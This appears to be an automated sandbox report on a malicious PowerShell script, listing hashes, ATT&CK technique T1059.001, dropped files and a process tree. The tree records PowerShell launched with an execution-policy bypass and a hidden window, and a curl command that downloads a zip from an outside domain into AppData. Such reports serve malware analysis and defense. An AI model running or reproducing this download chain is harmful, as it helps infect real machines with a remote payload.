1bbec3f72e50f5707afa4283b2b8a786dbeca2870a019bd802a1952c5c9cdc95

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/08/2026, 18:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
script.ps1
Size 1KB
Sample260802-wvrkysvthy
SHA256 1bbec3f72e50f5707afa4283b2b8a786dbeca2870a019bd802a1952c5c9cdc95
MD5 41eaea6dce06ebe6ac0390a6f51534cd
SHA1 e1aa960a360e88c1d3a8dd55c684f9cc8492c469
SHA512 7684650d4a0527fd65e127cedec4f5cbeb4cbe74871d95591fbbe2ddbeaa4448ce0c8ee02769a0e915dcfee2c9a7a2ee11716f6fb57e2d4efed57b3130c4b682
TLSH
T11F418511021881BECAF7C0E79AA918118AD690EB01CA7D8E3DAFD2D1DF821688653836
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2032	powershell.exe
4840	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2032	powershell.exe
2032	powershell.exe
4840	powershell.exe
4840	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2032	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 4840	2032	powershell.exe	85
PID 4840 wrote to memory of 4084	4840	powershell.exe	87

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Bypass -W Hidden -F "C:\Users\Admin\AppData\Local\Temp\t.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4840
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L https://savricsaxen.cloud/storage/media/6a0de6056a65e/draw.zip -o C:\Users\Admin\AppData\Roaming\pupdate.zip
    3⤵
    PID:4084

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 39c0c4a5357553ecfb1bae2522228842dc8013d9ad2d6b7735cdb7475525fdb2
MD5 a6da5ca03f1de4f45e882d0901aa6859
SHA1 f100bac21cdfdcbc8941b5aed4d4b374787e5ef8
SHA512 f16137b91b37228b31293318869d12821fb6c40fc56aaf08cb88b96a2d4650f15927ca3bab57eae8d92fa066878e60842b703567827cf30d3349aac4ecf2e1bc
TLSH
T1BF215637B39C8921CC86163A109D9C1176B683C7819EDF9FABC4D614A07F999CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_fnmxyrw0.kqo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fnmxyrw0.kqo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

t.ps1

Path C:\Users\Admin\AppData\Local\Temp\t.ps1
Size 252B
SHA256 aa30b21d760f2a0aae01c877fd83b86e109238dd79c8ef684a933f130fba865f
MD5 e69b367f6b8e0c072bfa322e4f8c261e
SHA1 0fd5b31c96d0ea6d415be54065c12c5390b189a4
SHA512 4ed001a25fd182e16ecf279169e186d2bc5713c810999745afccaf0b68e7282b05a917665288b294662ed48933a509c5fadc00f63a50e0217600c82c205aa29b
TLSH
T1FFD0A577200643B6C5F541DB55F476C5E01F4D46140F55751517E3061C2F521D983975
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2032-1-0x0000020507DA0000-0x0000020507DB0000-memory.dmp

Download

memory/2032-0-0x0000020507DA0000-0x0000020507DB0000-memory.dmp

Download

memory/2032-4-0x0000020522560000-0x0000020522582000-memory.dmp

Download

memory/4840-15-0x0000019ECF060000-0x0000019ECF070000-memory.dmp

Download

memory/4840-14-0x0000019ECF060000-0x0000019ECF070000-memory.dmp

Download

memory/4840-26-0x0000019ECF060000-0x0000019ECF070000-memory.dmp

Download

memory/4840-25-0x0000019ECF060000-0x0000019ECF070000-memory.dmp

Download